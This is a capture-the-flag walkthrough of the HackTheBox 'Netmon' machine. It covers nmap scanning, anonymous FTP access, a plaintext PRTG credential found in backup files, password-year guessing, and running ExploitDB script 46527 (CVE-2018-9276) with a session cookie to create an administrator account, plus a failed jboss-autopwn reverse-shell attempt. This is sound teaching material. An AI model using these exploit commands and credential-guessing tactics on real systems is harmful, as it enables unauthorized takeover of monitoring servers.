INTRODUCTION
Netmon is the second Windows box in my “Let’s brush up on Windows!” series. For the previous one, see my walkthrough on Blue. This box revolves around a network monitoring tool called PRTG. It’s very easy, and a great reintroduction to Windows tools. Recon leads straight into the user flag, skipping any necessity of acquiring a foothold.
If recon was done properly, there are only a few options to follow when seeking the root flag. Thankfully, these options have very few rabbit-holes. Keep it simple, don’t dig in your heels on any particular method, and you’ll find yourself in possession of the root flag in no time at all! Just remember: while software and vulnerabilities change all the time, human habits are much less volatile.
RECON
nmap scans
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
Host is up (0.061s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19 11:18PM 1024 .rnd
| 02-25-19 09:15PM <DIR> inetpub
| 07-16-16 08:18AM <DIR> PerfLogs
| 02-25-19 09:56PM <DIR> Program Files
| 02-02-19 11:28PM <DIR> Program Files (x86)
| 02-03-19 07:08AM <DIR> Users
|_11-10-23 09:20AM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Nice, there’s anonymous-login FTP and a webserver, among other things. The webserver is running an application called PRTG Network Monitor 18.1.37.13946. Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -sV -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
| http-vuln-cve2010-0738:
|_ /jmx-console/: Authentication was not required
|_http-server-header: PRTG/18.1.37.13946
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Finally, just to be thorough, I’ll start a UDP scan and let it run while I continue:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
PORT STATE SERVICE VERSION
9/udp open|filtered tcpwrapped
123/udp open|filtered ntp
137/udp open|filtered netbios-ns
138/udp open|filtered tcpwrapped
177/udp open|filtered xdmcp
500/udp open|filtered isakmp
520/udp open|filtered route
3456/udp open|filtered tcpwrapped
4500/udp open|filtered tcpwrapped
5353/udp open|filtered zeroconf
32815/udp open|filtered unknown
49152/udp open|filtered unknown
49181/udp open|filtered unknown
49185/udp open|filtered unknown
Note that any
open|filteredports are either open or (much more likely) filtered.
USER FLAG
Anonymous FTP
On an Easy box, having an anonymous FTP login is usually a very good place to start. Sometimes it’s a rabbit-hole, but often enough it will indicate what the next step on the box is. Let’s log in and investigate. When prompted, use username “anonymous” and a blank password:
ftp $RADDR
cd Users
dir # note the Public folder
cd Public/Desktop
dir # note the user flag sitting right there
get user.txt
exit # quit out of FTP
-----------
# Read the flag:
cat user.txt
🍰 Wow, that was super easy!
ROOT FLAG
CVE-2010-0738
⚠️ This part did not lead to a meaningful result. If you’re short on time, skip this part of the walkthrough.
The vulnerability scan above shows that the target might be vulnerable to CVE-2010-0738, a flaw in the HTTP server. According to the NIST CVE entry, the webserver “performs access control only for the GET and POST methods, which allows remote attackers to send requests to this application’s GET handler by using a different method.”. A quick search turned up a tool called jboss-autopwn that claims to exploit this CVE into a reverse shell.
Reading through the Windows exploit, e2.sh, it looks like the exploit uses the vulnerability to upload a malicious .war file to the JMX-console. The .war file creates a webshell at /browserwin/browser/Browser.jsp. Then, depending on which way you want to get a connection, the webshell is used to upload a bind shell or reverse shell.
Let’s clone the repo and try it out. First, prepare a listener:
# open a port in the firewall
sudo ufw allow from $RADDR to any port 4444 proto tcp
rlwrap nc -lvnp 4444
chmod +x e2.sh
./e2.sh $RADDR 80
Looks like it failed (and my listener did not receive any connection). However, it’s clear why it failed: I’m pretty sure that, since 2010, msfpayload has actually been recreated as msfvenom. Plus, the real secret sauce of the exploit is the part that uploads the webshell, and that part succeeded. I’ll try modifying the exploit to use msfvenom instead of msfpayload:
With that change made, I’ll try running again:
🤔 Hmm… still failed. Well, at least it generated the payload properly this time.
searchsploit
I already checked the anonymous FTP, and CVE-2010-0738 didn’t work; so what other leads do I have? Well, I have the full version number of the web application on port 80: PRTG Network Monitor 18.1.37.13946. Why not check searchsploit and see if there’s an entry in ExploitDB?
searchsploit prtg --id
Aha! There’s an RCE exploit that will likely work on the version of PRTG that’s running 😁 I’ll copy it over to my working directory and take a look.
There’s a description of the exploit in the banner of the script:
“*login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script. run the script to create a new user ‘pentest’ in the administrators group with password ‘P3nT3st!’”
Unfortunately the default credentials aren’t valid. I’ll look online and see if I can find out where the credentials might be stored.
Checking FTP again
I spent some time investigating the PTRG thing, the application listening on port 80. I read through the Quick Start guide, which led me to the Configuration Backup knowledgebase article. Apparently, there should be a folder where PRTG stores all of its data:
Earlier when I checked FTP, I didn’t see this folder. However, I didn’t do a very thorough job - I more or less just grabbed the flag and ran! I’ll check again:
ftp $RADDR
# username "anonymous", blank password
dir -a
# OH *facepalm* now I see!
I had completely neglected to check for hidden files. Most importantly, there was a folder for PRTG within C:\ProgramData
As soon as I saw them, I grabbed the three configuration files:
mget PRTG\ Configuration.*
# y, y, y
exit
I figured I would check these files for anything that might be a credential:
# Collection of words to grep for
WORDS=`locate grepstrings-basic.txt`
# Check the files for any of those words, output line numbers too
grep -i -n -f $WORDS PRTG\ Configuration.*
This looks like it might be something:
Let’s get the context of that one line:
grep -B 5 -A 5 prtgadmin PRTG\ Configuration.old.bak
Just what I needed! Looks like a credential is prtgadmin : PrTg@dmin2018. With any luck, it’ll still be valid, and I can use it for the exploit I found earlier 👍
Nope. I guess that credential isn’t still valid. However, there’s a year component to that password. This box was released in 2019 - I’ll try an updated credential instead: prtgadmin : PrTg@dmin2019
Success! Now that I have a valid credential, I can try out that exploit that I found in searchsploit earlier. The details of the vulnerability and its exploit are described in this article.
Exploiting CVE-2018-9276
First, I’ll copy over the exploit. It requires a cookie and credentials.
# Copy over the exploit
searchsploit --path 46527
mkdir exploit; cd exploit
cp /usr/share/exploitdb/exploits/windows/webapps/46527.sh .
chmod +x 46527.sh
To obtain the cookie, I’ll proxy the login attempt through Burp:
GET /public/login.htm?loginurl=%2Fhome&errormsg= HTTP/1.1
Host: 10.10.10.152
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: http://10.10.10.152
DNT: 1
Connection: close
Referer: http://10.10.10.152/home
Cookie: OCTOPUS1813713946=ezgyQjU4MkFDLUM0OUItNDEyMi04NEY2LTQxMjJEMzYxOEMwRH0%3D
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Now that I have the cookie, I’ll adjust it into the format required for the exploit and run it:
./46527.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=e0I3MUI2MEZGLTIxQTQtNEIzRS1BQjMyLTE4NzNEODhGODhBQX0%3D; _gat=1"
Now apparently, there should be a new user in the Administrators group with credential pentest : P3nT3st!. There’s no SSH on the box, but the initial port scan indicated TCP port 135 is listening, I’ll try logging in using evil-winrm:
Perfect! This user should be in the Administrators group, so I’ll try to grab the root flag now, from the C:\Users\Administrator directory that I couldn’t access earlier:
cd ../../../Administrator/Desktop
dir -a
🍒 And there it is. Obtain the flag using cat or type.
LESSONS LEARNED
Attacker
Check for hidden files in FTP. Even though it’s not documented in the
helptext of FTP, there’s often a-aflag that you can apply to be able to see hidden files and directories.Passwords with years in them might be incremented. I’ve seen passwords like this constantly at restaurants and hotels, ex.
BestWestern2020. Always remember that people are inherently lazy and forgetful.
Defender
Hidden files are not a safeguard. On this box, there were plaintext credentials in a backup file. That’s not a good practice. Even if the credential is no longer valid, it still might reveal something about the password “algorithm” (in this case: keep the prefix and increment the year).
Disable anonymous FTP login. Better yet, just use SSH and proper key management. At worst, just use SFTP with proper credentials assigned.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake